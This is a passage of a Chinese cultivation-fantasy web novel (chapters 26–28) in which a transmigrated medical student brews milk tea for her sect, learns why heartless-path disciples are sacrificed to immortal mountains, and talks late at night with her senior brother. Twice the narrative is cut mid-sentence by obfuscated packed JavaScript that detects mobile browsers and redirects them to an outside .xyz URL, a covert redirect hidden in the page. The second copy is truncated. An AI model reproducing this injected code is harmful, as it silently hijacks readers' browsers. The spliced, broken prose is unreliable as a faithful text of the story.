步雁山直接把火炉和茶壶一起给她了:“拿去吧。” ? 关云铮一手抱着熄火的火炉,一手提着茶壶:“掌门你……” 步雁山笑眯眯的:“煮好了记得给我留哦。” 关云铮转过身就走。 学语气词也没用,这么干脆果然没安好心。 步雁山喊住她:“让你任师姐带你下去,你靠走得走到什么时候。” 怎么一听更想自己走下去了。 虽然感性上很想自己走到地老天荒,等好心的师门人来接算了,理性还是让她停住了脚步,回头看向始终站在步雁山身后的任嵩华。 任嵩华应该不常做这种事,听到步雁山的话后看了他一眼,只是很快又点头,看不出任何不情愿的样子。 关云铮忽然有点好奇任嵩华的师父是谁,虽然从没听过她喊步雁山师父,但总感觉他们的相处模式还挺像师徒的。 任嵩华朝她走过来,伸出手。 关云铮不明所以,揣摩着任嵩华此举的含义。 任嵩华收回手:“茶壶不给我,那抱你上去?” 不是,等会儿? 关云铮还没来得及反应,任嵩华已经干脆利落地把她抱起来,随即腰间的长剑出鞘,悬停在任嵩华脚边。 “走了,扶稳。”她抱着关云铮站上长剑,又把人放下,示意她站好。 关云铮赶紧把茶壶也揣怀里,一把抓住了任嵩华的袖子。 来去峰毕竟只是归墟境内的一个山头,御剑飞行的速度之下,不消片刻就回到了练武场。长剑悬停,关云铮松开手,从剑上跳下来,回头时发现任嵩华的袖子被自己攥得皱皱巴巴的,正准备道歉,注意到她目光的任嵩华低头,用另一只手拂了拂:“无事。” 就这样平整了? 无声咒是吧! 关云铮内心精彩纷呈,面上还是扮得很乖巧:“多谢任师姐。” 任嵩华点头:“嗯,走了。” 关云铮站在原地目送她离开,感觉自己对无情道的刻板印象又加深了。 本来要练一下午的御剑飞行,刚上剑人就飞到别家去了,接下来少不得花工夫多练。但这会儿关云铮还有件更在意的事要做,因此偷偷摸进饭堂,蹲在灶台边烦李演。 “有牛乳吗李厨?”关云铮抱着茶壶,做贼似的悄声。 李演差点以为自己幻听:“什么东西?” 那看来是没有。 关云铮没气馁,又给出了B选项:“那有羊奶不?” 李演不得不低头看她:“你要羊奶做什么?” 关云铮一手举火炉,一手提茶壶,蹲在灶边笑嘻嘻的:“我煮奶茶!” 26.第 26 章 虽然刚开始学御剑飞行就窜到了凌风起的院子,被他抓走又被任嵩华送了回来,过得无比跌宕起伏——但实际上下午的课还没结束,师门其他人都有自己的事情要做,因此苍生道食堂里只有尚在准备晚饭的李演——和猫在灶台边的关云铮。 听完关云铮的要求,李演把手里的篮子塞给她:“你来洗菜,我下山给你找找。” 关云铮蹲地上一脸茫然地接过篮子:“你去哪找?” 然而李演已经没影了。 不是??? 大白天的闹鬼? 关云铮认命地站起来,把茶壶和火炉放下,拿起菜篮接受自己这一刻的命运。 刚才嘴快说了句羊奶也可以,现在回过神来一想,羊奶煮奶茶……关云铮皱起眉,会有多腥她都不敢想。 也没想到李演眨眼的工夫就不见了,这叫什么,缩地成寸? 长在仙门菜地里的菜干净得很,除了几点泥星子,既没有焦黄卷曲的叶子,也没有虫啃过的痕迹——是放在现代她绝对不敢吃的菜。 她正在心里思忖着到底是怎么做到让菜不长虫的,李演的声音在她身后响起:“没有牛乳,也没找着羊奶,但倒是找到了水牛乳。” 关云铮被他突然出声吓得不轻,差点把手里的菜刀砸脚背上。 等到从惊吓中回魂转过身,才意识到李演刚才说了什么:“水牛乳?你哪找来的?” 李演抱着一个高有小臂长的陶罐:“山下正好有农户的水牛产崽,要了一罐。” “给钱了吗?”关云铮看着罐子,被眼前的一幕玄幻得有点不知道说什么好。 “自然。我总不会去抢。”李演放下陶罐,又从她手里拿回菜刀,“你方才说的奶茶,要如何煮?” 关云铮机械地转过身,本想从缸里舀水,忽然想起来什么,又转向李演:“杀菌了吗?” 李演再一次怀疑自己的耳朵:“杀什么?” 关云铮闭上嘴,被天降水牛奶刺激得停转的脑子终于恢复了正常:“没什么,我就是没想到你真能找来。” 李演看她一眼,似乎觉得她此刻的状态有些奇怪,但最终没说什么,摆摆手示意她躲远些,免得被热油溅着。 关云铮抱着陶罐到灶台另一边坐下了,把自己的面孔遮挡在了灶台之后。 至于吗,她想。 只是一罐牛奶而已。 且不说这个世界仍有可能是一本架空修仙文,作者可能疲于遵循古制,索性想到什么写什么。就算这是真实存在的世界,水牛奶这种东西也是自古以来就有的东西,跟现代社会没有什么必然联系。 她至于这么回不过神吗?像是什么迷途羔羊忽然看见了回去的路一样。 她有这么怀念那个世界吗? 关云铮觉得自己有点可笑,似乎总是在做一些毫无意义的事情。在现代的时候想死,好不容易没有任何痛苦,符合她期待地死了,到这个世界又开始怀念现代。 “坐那发什么呆,不是要煮茶?”李演凑过来看了眼。 关云铮像被家长抓包,慌不择路打开茶壶盖子:“要煮,正在……” “煮”字被她咽回嘴里。 天杀的这茶壶里怎么没茶叶啊! 步雁山你怎么连吃带拿啊! 经历了高温煮沸给牛奶杀菌、翻炒从李演处得来的茶叶至焦黄、倒入牛奶一起煮沸、加入几勺糖这一系列步骤后,关云铮端着一锅奶茶在餐桌边坐下,开始等待自己的师兄师姐。 先到的是连映,进门时还在同身后的江却说话,看见江却视线移动,跟着看过来。 “这才一会儿没见,怎么还长胡子了?”连映被关云铮的样子逗笑。 关云铮茫然地看过去,后知后觉地伸出手背擦了一下嘴角,收回手时果然看见一抹棕色。 不愧是她,一如既往地偷偷干点什么就会立马被抓包。 “这是什么?”连映走到她旁边的位置坐下,看向她面前的锅。 关云铮拿汤勺给两人各盛了一碗,推到他们面前。 连映本来还想听关云铮说说这东西究竟是什么,对上她期待的眼神后,笑着低头,端起碗喝了一口。 “甜的?”江却先开口了。 关云铮觑着他的神色,又悄悄推出茶壶:“这里面的不太甜。” 江却对上她视线,看出她似乎正观察自己,下意识抬了抬端着碗的手:“无妨,我喝这碗就好。” 连映放下碗,笑眯眯的:“不甜的给师父吧,我们喝甜的。” 闻越欢快的声音从门外传来:“什么甜的?我也要喝。” 连映头也不回,把手边另一碗往闻越要落座的位置一推。 “谢谢师姐。”闻越一弯眼睛,还没坐下就端起碗喝了口,“云崽做的吗?” 关云铮扒着桌子点点头。 “这是茶吗?好像还有别的味道?”闻越品鉴了一会儿,看向旁边的关云铮。 关云铮就像准备了完美答案等着老师提问的学生,闻言掰着手指把自己煮奶茶的过程说了一遍。 噼里啪啦说了一大堆后,她才意识到餐桌上好像有点太安静了。 好像有点忘形了……怎么二十多岁了还像个做了家务等着家长表扬的小孩,关云铮在心里埋汰了自己一句。 “你来修道真是辱没了。”闻越一脸沉痛地搭上她肩膀。 连映难得没反驳闻越没正形的话语:“师父可能也没想到,他收了个这么精通厨艺的弟子。” 精通厨艺倒是也不太配得上……关云铮有点心虚地想,单纯是赶上了好时候,抢占了这个时代奶茶的市场份额。 关云铮完全是依样画葫芦,不太好意思接受这一串夸奖,于是岔开话题道:“师父呢?怎么没来?” 江却放下碗:“来时见到了蒲前辈和掌门,应是和师父议事去了。” 蒲飞鸢和步雁山? 讨论教学相关的事吗? 关云铮有点困惑,但本来也打算之后再去找章存舒一趟,索性没有再问。 “还有吗?想再来一碗。”闻越眼巴巴地看向关云铮面前的锅。 关云铮把锅推过去:“师兄,有件事得告诉你。” 闻越咕嘟咕嘟又喝下去半碗:“什么事?这么严肃。” 关云铮看着他把奶茶当水一样吨吨吨,目露怜悯:“你晚上可能要睡不好觉了。” 闻越不以为意:“因为这茶?” 关云铮点点头。 闻越低头看了眼再次空了的碗底:“我在家也常喝茶,应当不至于?” 关云铮学他方才的动作,沉痛地拍了拍他的肩膀:“这茶威力非比寻常,总之今夜你尽早休息吧。” 闻越困惑:“这又是为何?” 关云铮的眼神中流露出过来人的一丝心酸:“因为早些休息还能睡着,晚了就再也睡不着了。” 吃过晚饭章存舒还没来,关云铮拎着一茶壶奶茶和李演让她端过去的一碟糕点,出发去找她的便宜师父了。 找到人的时候章存舒正和步雁山下棋,可能是听出了她的脚步声,章存舒没抬头:“拿什么好吃的来了?” 步雁山背对着她,闻言转过身来,关云铮正打算问好,发现章存舒面不改色地换掉了步雁山的一枚棋子。 ? 章存舒淡定自若地偷完棋子才抬起头对上关云铮的视线,无比自然地眨了眨眼。 关云铮只好也淡定地收回视线,提着茶壶跟步雁山打招呼:“掌门,你要的茶,给你留了。” 步雁山凑近些嗅了嗅味道:“好像不是茶?” 关云铮四处看看,搬来角落里一张竹椅,抱着东西坐下,又把茶壶放到桌边的石凳上,老实道:“算是茶的,嗯……一种。” 章存舒一边跟关云铮聊天,一边用棋子敲棋盘,催促步雁山接着下棋:“给你师兄师姐们尝过了?” 关云铮点点头,想了想还是把师姐的嘱咐说了:“师姐说不让您喝太甜的,我们把甜的喝完了。” 章存舒叹了口气:“这壶不甜?” 关云铮比出两个手指捏在一起:“大概就放了这么点糖。” 他听完好像又开心起来了:“我来尝尝。” 关云铮茫然看着他起身:“不下棋了?” 章存舒已经拿出茶盏给自己倒了一杯:“你掌门师叔赢了。” 关云铮更茫然地看向棋盘。 原来偷换棋子是因为馋奶茶了,想早点结束? 师父会搞小动作耍赖的新人设还没建立起来就塌了,但是师父嗜甜如命的馋鬼旧人设更稳固了…… 步雁山本来心思还在关云铮提来的茶壶上,闻言回头看向棋盘,发觉真是赢了,又扭过头看正垂眼品茶的章存舒:“师兄,你又偷我棋。” 哦,原来依旧是惯犯,关云铮坐竹椅上悄悄观察着。 章存舒没觉得有什么问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903199|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,随手把袖子里藏的那颗棋丢回棋盘,喝着茶头也不回:“甜味尚可。” 关云铮看他分明十分满意,嘴角都上扬些许。 小徒弟太安静了,也不接话,章存舒从茶盏边沿抬起眼看她:“有话要问?” 关云铮眨眨眼,全然无辜的模样。 步雁山正给自己倒茶,猜她想问戚寻月的事,喝了口没揭穿她:“师兄,宵禁的事算是定下来了?” 宵禁? 关云铮像个聆听NPC同步任务信息的玩家,一会儿看向这个,一会儿又随着说话的人改变看向那个。 章存舒第二杯奶茶喝了一半,随手把茶盏在棋盘上放下:“嗯,劳烦你先着手处理。” 说话突然这么客气?关云铮的目光在两人之间飘来飘去。 步雁山又给自己倒了一杯茶,端着茶盏起身走了:“茶不错,多谢云崽。” 关云铮目送着他走远,还没等把视线挪回章存舒身上,就听她师父开口道:“要问什么?” 她转过头,看章存舒茶盏里只剩一个棕色的底,默默把茶壶提起来。 章存舒伸手接过,先把刚才宵禁的事解释了一番:“今日武器课上楚悯险些从剑上摔下来。” 关云铮猝不及防,差点一手打在茶壶上。 还好还好,是险些,应该没受伤。 “当心。”章存舒把茶壶拎走,笑着看了她一眼,“蒲飞……蒲先生方才来找我,就是谈这件事。” “有人动手脚?”关云铮很快想到这一层,不然也没法解释好端端的怎么突然要设宵禁。估计不只是宵禁,还有一连串其他的管束手段。 章存舒随手捡起一枚棋盘上的棋子,捏在两指间打量似的:“□□习期间,各派弟子繁杂,本也该设立宵禁。” 看来是还没法确定,关云铮很有眼力见的不再探究,提出她早就想问的问题:“师父,今日练剑时蒲先生说,无情道修到后来,基本都得殉道,这是为何?” 章存舒挑眉,神色有些意外,但倒是没闭口不谈:“无情道最初只如其名,断绝一切情感,因为契合普世对修道之人的看法,颇为热闹了一阵。” 关云铮悄悄摸了颗棋子在手里玩,心想有“最初”应该也有“后来”了。 章存舒放下手里的棋子:“后来仙门几位长老发现,无情道的道心和众仙山之上的仙器愈发融合,有那么几年,有些人管无情道叫器道。” 无情无爱,还以守护天下为己任,这样的刻板印象确实与仙器的定位相吻合。 但是这个话题听起来逐渐不妙,好像逐渐要去往关云铮暂时还不打算问的危险话题了…… “仙山有各自的意志,在仙山落成后逐渐形成的各仙器就是仙山意志的化形,只是仙门式微,仙器在之后的年岁里也逐渐失去效用和法力。” 刚才的感觉果然没错,总感觉下一句就是“无情道道心和仙器相合,做个殉道的再合适不过”。 虽然不知道戚寻月是修什么道的,但是这个话题的走向应该很难不让她师父想起戚寻月身死,神魂成为不熄鼎燃料这件事…… 关云铮正犹豫着要不要找个话茬岔开这个话题,不再追问了,章存舒已经神色平静地继续说下去了:“无情道能坚守到后来的,道心大多异常坚固不容撼动,仙门为了让门派活下去,选择让这些弟子以身殉道。” 长在仙山,死在仙山,道心也融进仙山。 关云铮听得简直想哆嗦。说得好听叫殉道,听上去这些弟子也并没有自己做出选择的权利,这不就是修仙界的狂人日记吗,吃人的是仙山罢了,有什么区别。 “归墟有过吗,无情道弟子殉道。”关云铮对上章存舒的视线。 她师父像是笑了一声,又像是叹了口气:“没有,归墟不收无情道。” 那任嵩华……? 关云铮还有疑虑,但真的不敢再问了,于是做出已被答疑解惑的样子,收拾起面前的棋盘。 章存舒这次是真的笑出声了:“我还以为你要问我……” 关云铮掌心握着一把棋子,抬起头:“问什么?” 章存舒笑笑不说话。 关云铮于是顺理成章地装傻:“师父要说总会告诉我,师父不说我就不问。” 万一是伤心事呢,可不兴乱问。 她师父放声笑起来,把手边的茶一饮而尽:“好茶,以后还有吗?” 关云铮点点头:“以后都有。” 27.第 27 章 闻越睡不着。 他确信自己并没有比往常晚睡多久,但就是从躺下开始就在榻上辗转反侧,躺得浑身开始酸痛也没能成功入睡。 他仰躺着,在黑暗中瞪着屋顶,想起白日里云崽叮嘱的话,幽幽地叹了口气。 在“老实在自己的院子里待着”和“出去找点乐子”这两种想法之间犹豫了片刻,他最终还是屈从内心,下床穿上外衣,悄悄推门出去。 今夜全无月光,闻越抬头看了眼黑压压的天色,回身翻找出之前从山下带回来的纸灯,把里头的烛芯点了,提着灯再度出门。 虽然云崽煮的……奶茶?很可能是让他睡不着的元凶,但那茶比平日里喝的茶好喝多了,也不知道是如何煮出来的,以后还有没有。 胸腔里的心格外用力地跳着,闻越疑惑地用手抚了抚胸口,总不会是因为夜里偷溜出来感到心虚,他都快成惯犯了,至于这么心惊肉跳的吗? 路过大师兄的院子外,闻越下意识放轻脚步,蹑手蹑脚地快速走过,到了连廊才放松警惕。 意识到自己刚才都做了什么,闻越摇摇头,小声嘀咕了一句:“至于吗,大师兄又不吃人。” 其实大师兄从未动过怒,闻越也没法想象他动怒的模样,只不过他看起来总是比师门中其他人要严肃许多。师父和师姐多数时候都是笑眯眯的,只不过师父偶尔会憋着坏,虽然师姐不笑的时候也够吓人的;掌门师叔始终是温和可亲的,只会在一些正式场合中表现出严肃的样子…… 闻越在连廊上走得很慢,途中经过了师姐的院子,借着手中的灯光望见师姐门外的花。还是之前某次下山带回来的花种呢,叫什么来着?好像是碧天一色? 牡丹花开得正好,他站在连廊那看了会儿那在暗处显得格外朦胧绰约的花影,继续往前走了。 他心不在焉,并不多么在意脚下的方向,回过神时发现自己又在下意识朝着剑冢的位置前进,此刻已经在云崽的院子外了。手里的纸灯无端晃荡,低头看时不知哪里来了一阵风,灯里那点烛芯闪烁一下,彻底暗了。 看来今夜不宜瞎逛。闻越从纸灯上收回视线,心跳亢奋然而兴致缺缺,正准备回去在自己的院子里熬过这一个晚上,身后云崽的声音突然响起:“师兄?” 闻越被吓了一跳,手里的纸灯飘飘忽忽地落在他脚边,里头的竹架子落地发出一声轻响。 “你怎么也没睡?”他转过身,两人异口同声地问道。 **** 关云铮费劲地从屋子里搬出另一把竹椅,一手提一把椅子走得颇为艰难。闻越上前从她手里接过一把,两人在院子里并排坐下。 “你院里不是就一把竹椅吗?这一把什么时候有的?”闻越拍了拍自己坐着的椅子。 关云铮也不知道怎么回事:“方才从师父那儿回来就看见院里放了一把,兴许是师姐拿过来的吧。” 闻越点点头,没再追问,靠在椅背上望着屋檐出神。 关云铮看了一会儿他的神色:“喝了奶茶睡不着吗?” 闻越闻声侧过脸来看她:“我今日歇下的时候和往日差不多,这样也会睡不着吗?” 关云铮故作老成地摇了摇头,那模样看着,似乎还想再捋一把不存在的髭须:“那你就是喝奶茶容易睡不着的体质,我就不会。” 说完还有点高兴似的,翘了一边的椅子腿晃了两下。 闻越有点好笑地揭穿她:“那你大半夜的不睡觉,明早不是还得上学?” 关云铮瘪了瘪嘴,椅子也不翘了:“做了个噩梦,睡不着了。” 换做往常,闻越约莫是不会接下这个话茬的,虽说他与云崽已经做了一段时日的同门,但噩梦这种事是很隐秘的,询问梦境的内容就显得太过窥探了。 但今夜或许是他也情绪不佳的缘故,他忽然觉得接下这个话茬也没什么,大不了互相吐一吐苦水,然后明早一起忘掉。 于是他找了个话题,又或者说,说出了埋藏心底的心里话:“我是不是同你说过,我是落水后才能引气入体的来着?” 关云铮有点困惑他为何忽然提起这个话题,但没急着问,只是点点头。 闻越接着说:“我那时引气入体花的时间比你要长一些,但也是在入门后的一月内练成的。”他又开始盯着屋檐看了,“只是从我成功引气入体到现在,都没能拥有一把属于我的剑。” 关云铮没说话,闻越没有配剑这件事她前几天就注意到了,目前见过的师门人中,除师父和掌门这两位长辈之外,任嵩华和江却都是剑不离身的,连映的剑上次逃学回来时也见到过,只有闻越,她从没见过他的剑。 以为是不爱带在身上,原来是真的没有吗…… 闻越从屋檐上收回视线看向她:“我之前跟你提起剑冢,怂恿你去,是因为我自己试过很多次都没能找到剑冢的入口,但那是因为我的先辈中没有修道之人,无法与剑冢中遗留的武器建立感应,想着没准你有,所以让你去试试。” 关云铮听出他的愧疚,伸手拍拍他的肩膀:“我不是没事嘛。”非要说那次去剑冢有什么负面结果的话……可能就是多了把会骂人的剑吧,问题不大,她可以跟剑对骂。 闻越很重地叹了口气:“我也没问过你是不是愿意,再说了,你才入门几天,我没必要急于这一时。” 但你不是怕我会步你的后尘,很长时间都不能拥有自己的剑吗。 关云铮还是没把这句话说出来,只是再度伸手,拍了拍闻越的肩膀。 闻越瘫在椅子上不说话,过了好一会儿才看向关云铮,语气听着像是已经调节好负面情绪了:“说说你的噩梦?当然,你不说也行。” 关云铮刚从噩梦中醒来那会儿,其实还因为梦境悄悄掉了几滴眼泪,现在被闻越配剑的话题一岔,有种哭懵了之后的茫然感,说起噩梦时也觉得自己有点小题大做,因此语气听着有些惭愧:“也没什么,只是梦到了……我母亲。” 闻越自然以为她说的是关云筝的母亲,因此颇有几分不高兴地说:“上次你下山的事我还没问你,我大哥也不跟我说,你没被家里人欺负吧?” 关云铮不太在意这件事,先不说一个已经腐烂的家庭没有挽救的可能和必要了,就算挽救了享受到家庭温暖的也不是原身,况且她现在能力有限,还是安生在师父师叔的羽翼下待着,等变厉害了再去解决这些问题吧。 “没什么特别的,以后我也不会再回去了。”关云铮实话实说。 闻越伸手揉了一把她的脑袋:“以后下山去我家,反正我大哥一个人在家也无聊,给他找点乐子。” 我看你是把折腾你大哥当乐子。关云铮颇觉好笑地想。 “有时候际遇是很重要的。”她忽然这样说道,“我以前在家里的时候,也没想过自己会上仙山修道。” 闻越深以为然地点点头:“我也没想过我居然能在归墟待这么久,虽然每天似乎都是那么些事,但还挺有意思的。” 关云铮这下没忍住,真的笑出声了:“师兄,我说这话的重点不是后半句。” 闻越茫然看她,显然是还在找话安慰她的状态里:“那是哪句?” 月亮已在无人注意的时候升起来了,屋檐泛着一层温凉的光。 关云铮笑着晃起她坐着的椅子:“际遇是很重要的,你没有配剑,是因为它是未来的际遇,”她看向头顶上空的屋檐,“你总会遇到的。” **** 半夜跟师兄在院里谈心的结果就是——关云铮第二天早上险些起不来。 在饭堂吃早饭的时候她甚至有点恍惚,感觉自己是灵魂飘来了但躯壳还在榻上躺着,眼神只要汇聚到一个点后眼珠就彻底不会转了。 连映没打断她放空,把粥端到她面前,放好勺子后看向另一边的闻越:“你昨夜做什么去了?” 闻越看起来比关云铮还困,吃着吃着脸都快埋进碗里了。 闻越扒着碗,头也不抬:“昨夜和云崽谈心。” 关云铮忽然被点名,迷瞪瞪地抬起头,对上连映探究的视线,如梦初醒似的解释:“对,昨夜和师兄谈心来着。” “谈了多久,困成这样?”连映给闻越端了碟小菜,推到他面前。 闻越强行撑开眼皮,抬手夹了一筷子菜:“大概两个时辰……还是多久来着……” 关云铮抱着碗小鸡啄米:“两个时辰吧……” 连映看了两人一会儿,又觉得好笑又想叹气,正想说点什么,江却晨练结束来饭堂了,看师弟师妹在桌边挨个小鸡啄米:“这是?” 关云铮一边控制不住地犯困,一边用残余不多的理智想,大师兄这样严于律己的人应该没法理解有人大早上能困成这样吧…… 连映和江却对视了一眼,似乎下定了什么决心。 关云铮感觉周围太安静了,茫然地从碗里抬起视线,正对上江却伸过来的手。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909567|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ? 茫然的情绪消失了。 取而代之的是一种新的茫然。 发生甚么事了这是。 “清心决。”江却解释完,在桌边坐下了。 那会儿刚穿越过来见到连映的时候,对方也给自己施了一个清心决来着,看来这玩意儿还挺好用。关云铮于是点点头:“谢谢大师兄。” 连映看向一边的闻越:“还困?我给你也来一个清心决?” 闻越猛地抬起头,眼睛都瞪大了:“我不困了。” 关云铮:……好像师姐打算给师兄施的清心决,和师兄给她施的,不是同一个呢。 “云崽今早上哪位先生的课?”连映看关云铮低头喝粥。 关云铮刚才一直在机械进食,现在终于发现粥里有东西,疑惑地一边嚼一边口齿不清地回答:“褚宣生的课。” 她嚼完有点不敢相信地问:“粥里放什么了吗?” 闻越也有点困惑:“这是甘薯吗?” “甘薯?”关云铮看着自己粥里的块状物震惊了,这口感和味道完全吃不出是番薯啊?有点硬,纤维感有点强,还不咋甜。虽然这个样子的块状物也不太有别的可能就是了……不然她也不至于那么不敢相信。 我那么甜那么软的番薯呢! 还有,番薯什么时候传入我国的来着? 哦,差点忘了这里是架空。那没事了。 “我们菜园子里还有甘薯吗?”关云铮端着碗,忽然产生了一个大胆的想法。 李演正好路过:“有啊,我种的。” 关云铮拿着碗和李演对视,片刻后还是没忍住,非常诚恳且痛心地发问:“你这都不甜,也能叫甘薯吗?” 李演脸上的笑意凝固了。 **** 闻越吃完早饭照例送关云铮去学堂,走在路上的时候看她心不在焉,提醒道:“要到学堂了。” 关云铮回过神,眼睛亮亮的:“师兄,我想做一件事!” 闻越被她雀跃的样子逗笑了:“什么事?要我帮忙吗?” 关云铮刚想说,余光看见楚悯在不远处等着,拍了一把闻越的肩膀:“午间回去再同你说,上学去啦!” 闻越看着她跑远,笑着往回走了。左右无事可做,回院子里打个盹去。 楚悯还没等关云铮跑近就急匆匆迎上来:“昨日你没摔着吧?” 关云铮拉住她的手:“我还想问你有没有受伤呢,怎么会从剑上摔下来?” 两人一起往学堂里走,楚悯看了关云铮一会儿,感觉她应该没受伤,对昨日的情况解释道:“那时候我的木剑不受控制了一会儿,就从剑上摔下来了,但是蒲先生当时就在底下站着,把我接住了,故而没受伤。” 关云铮点点头,心说章存舒找教学先生这件事上还是靠谱:“我也没摔着,被一个坏脾气老头扶了一把。” 楚悯有些想笑:“那不是你师伯吗?怎么叫他坏脾气老头?” 关云铮并不奇怪楚悯如何知道昨日是凌风起帮的忙,她怀疑楚悯在自己这里已经有了一层“无所不知”的滤镜,以后她说什么自己可能都会信。 两人在平时上课的位置上坐下,关云铮看了眼前方,褚先生还没来,于是放心跟楚悯蛐蛐道:“怎么跟你形容好呢。” 楚悯好奇地看着她。 关云铮忽然想到一个合适的形容,状似痛心疾首地说:“好好一个人,可惜长了张嘴。” 楚悯被逗笑,小声笑了好一会儿:“他很凶吗?” 关云铮拍了一下自己的大腿:“何止是很凶啊,昨天刚见到他那会儿他几乎就只会说一句话。” 楚悯笑眯眯地看着她:“什么话?” 关云铮回忆了一下凌风起昨天的样子,一抬下巴,眼神一横:“哼。” 楚悯再次被逗笑:“但我看你好像并不讨厌他。” 关云铮坐在长凳上晃腿:“我上次受伤的药还是他给的呢,就是脾气坏了点。” 真正讨厌的人,她大概会直接喊死老头了,凌风起这样的,要是以后有什么过分的时候,就……喊个臭老头泄愤吧。 楚悯点点头,用手轻轻摸了摸她之前受伤的手腕。 关云铮笑嘻嘻的:“我没事啦,一点也不疼。” 说话间褚先生已经走进了学堂,周围的絮絮低语声停歇,关云铮拍拍楚悯的手,两人转回身子,端坐着等待褚先生开口。 28.第 28 章 在考完大学期间最后一门专业课的晚上,关云铮绝对想象不到自己会在不久后的将来穿越到一个修仙世界,不然她应该会保持清醒等待这个时刻的到来。这可是小说里才有的经历,虽然修仙小说几乎遍地都是,但要是能清醒地体验到,那就能见证什么叫做生活高于艺术了。 不过转念一想,她有很大概率是熬夜过度猝死之后才能以灵魂的方式来到这里,所谓的清醒也就不太可能实现了。 熬夜是不太应该,但是耳鼻喉、眼科学、内科学、外科学……这些专业课加起来实在是太多了,除了熬夜到两三点也没什么别的办法,更别说熬夜的多数时间她都在做无用功了——越复习越焦虑什么的。 也不知道这些专业课最后能不能过呢,虽然她人都挂了也不在乎课挂不挂的就是了。 地狱笑话,关云铮心想。 为什么忽然又想起穿越的事,主要是她没想到自己都大四的年纪了,居然还需要做课后作业,毕竟正常来说她大四后唯一需要动手写的就只剩下病历了。 说到病历,手抄大病历就是对医学生的酷刑!酷刑!明明可以打印的东西为什么要手写啊啊啊啊啊,而且床前询问病人的时候是真的很疲惫,你问ta有没有高血压糖尿病等基础疾病,ta说没有,你问ta有没有常用药,ta说在吃降压药,见了鬼了,好像半分钟前说自己没有基础疾病的不是ta一样。 好不容易问完了,回去一问带教,诶,又漏问题了,要么是现病史的细节没问清楚,要么是个人史的条目有遗漏,于是只好跑回去把病人重新叫起来,不出意外地被病人抱怨或者挖苦,质问你到底是不是医生,吐槽你实习生就是不靠谱。 就问这不是酷刑是什么。关云铮虽然已经不学医了,也不用再实习,但见习时已经经历过几回,因此还是对这件事充满了怨念。 ——眼下的课后作业虽然不至于到酷刑的地步,但对于她这个修仙小白来说也没好到哪儿去。 因为褚先生居然要求他们写一篇关于自己如何引气入体的文章! 关云铮趴在桌上绝望地想,要是她真能明白自己是怎么引气入体的倒好了,对她来说无非是跟心魔引吵了一架,两个人,哦不是,心魔引不算人,反正对骂了一会儿,醒来就引气入体了,谁知道到底怎么做到的啊,比闻越引气入体的经历还离谱。 闻越还能说是求生欲激发的,她这样的算什么,想要骂赢的好胜心吗? 关云铮脸都皱起来了,这种理由交上去估计会不及格吧。哦修仙世界没有不及格。 这个时候她又觉得没有引气入体未尝不是一件好事了,因为没能引气入体的同窗只需要继续尝试就好了,不用写文章。 关云铮泄气似的扑到桌上,脑袋抵上胳膊,发出沉闷的一声。 动静还挺大,吓得坐在旁边的楚悯立刻伸手:“疼吗?” 关云铮抬起头,神情恍惚:“不疼,我就是脑壳硬。” 楚悯被她逗笑,摸摸她前额:“褚先生不是留了时间给我们写吗,不着急。” 关云铮叹了口气,觉得这也不是自己不着急了就能解决的问题,毕竟她对自己是怎么引气入体这一基本事实毫无头绪,要论证原因更是无从下手,感觉时间再充裕都是白搭。 有点怀念ai了,在她一头雾水时还能给她复制粘贴的可能,挽救她的结课论文——虽然绝大多数时候她都对不规范使用ai抄袭之类的事深恶痛绝——但ai在应付作业这个领域是毋庸置疑的好用。 关云铮又叹了口气,抬起头来环视周围。 还没学会引气入体的学生已经去外面找地方继续尝试了,学堂里只有不到一半的人,三三两两地挨在一起,低声商量着文章该怎么写。 她又趴回桌面,从胳膊上抬起视线看向一旁正研墨的楚悯:“小悯,你是怎么引气入体的?” 楚悯把墨锭放到一边,挑了一支笔:“我也不知道,意识到的时候我正要用龟甲占卜。” 关云铮的注意力瞬间就被楚悯的后半句话带跑偏了,她很兴奋地坐起来:“龟甲占卜好玩吗?”说完后意识到自己的态度可能有点不庄重,她又收敛笑容找补了一句,“有意思不?” 嗯……也没庄重到哪儿去。 楚悯拿笔蘸了墨:“初次接触可能还有几分意思,次数多了就乏味了。” 关云铮思考片刻:“为何?虽说不同的裂纹代表不同的‘兆’这一点是固定的,但每次烧灼不会是完全一致的吧,按理来说应该不会很乏味?” 楚悯侧脸看她:“你以前在家中看的书这般杂吗,怎么连龟甲占卜都知道?” 除了专业书什么书都看的人是这样的,嘿。 楚悯在腰间暗袋里找了找,摸出一块龟甲来。 关云铮看她又手法娴熟地摸出一个火折子,把龟甲架在那一芯火苗上。 讲道理,她以前总觉得跟占卜相关的场合需要拿出十分庄重的态度,不说要沐浴焚香至少也得洗净双手什么的,但昨天任嵩华什么都没准备,直接就扶乩了,现在楚悯更是随手就开始烧龟甲,这难道是强者的自信? 善书者不择器什么的? 菜菜不懂,菜菜只知道在一边默默看着。 不过修仙的人也会用火折子吗?还以为只有江湖人士才会用呢。 关云铮这样想着,把心里的疑问说了出来。 楚悯正好把火折子吹灭收回袖子:“我也能自己点火,就是不太容易熄灭。” 关云铮试探着:“点一个看看呢?” 楚悯先把龟甲递给她,然后伸出右手。 她低声念了一句关云铮听不清楚的诀,随即手掌周边忽而一暗,手心中陡然出现一丛火苗。 关云铮被火焰的颜色吓了一跳:“不烫吗?” 那手心里的火焰几乎是白色的,掺杂了一点很浅的蓝。 这不得两千度啊。 